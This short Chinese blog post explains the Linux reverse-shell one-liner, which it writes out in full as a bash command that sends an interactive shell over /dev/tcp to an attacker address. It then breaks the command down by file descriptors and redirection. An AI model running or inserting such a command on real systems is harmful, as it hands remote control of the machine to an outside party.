关于Linux下反弹Shell命令的解释
Linux下反弹shell最常用的一句命令:
bash -c 'exec bash -i &>/dev/tcp/192.168.1.1/1337 <&1'
对这条命令的理解,以我个人经历而言,大概分为几个阶段
- 知道怎么用,但是记不住,用的时候就百度;
- 大概背过了,也能理解命令某些部分的含义,但仍然不清不楚;
- 完全理解了命令的每一部分的含义,可以脱离死记硬背,并写出不同形式的命令;
说来惭愧,入行多年了,今天才完成第三步,这里仅作一次记录。
详细原理三言两语较难说清,这里简单提炼一下主要知识点。
前置理论:
- Linux下的一切都是文件;
- Linux中的文件描述符:
- 标准输入 - 0 (默认设备键盘)
- 标准输出 - 1 (默认设备显示器)
- 错误输出 - 2 (默认设备显示器)
- bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向,然后在把重定向去掉,执行指令。
那么,下面简单拆解一下反弹shell的命令bash -c
:不解释了;bash -i
:表示启动一个交互式的Shell;&>
:表示将所有输出重定向;/dev/tcp/ip/port
:表示目标的地址*(Linux下一切皆是文件)*;<&1
:表示将标准输入重定向至标准输出的目标;
简而言之,&>
实现了命令输入在攻击端完成,<&1
实现了命令结果输出在攻击端。
参考资料:
版权声明:本博客所有文章除特殊声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明出处 忘返的博客!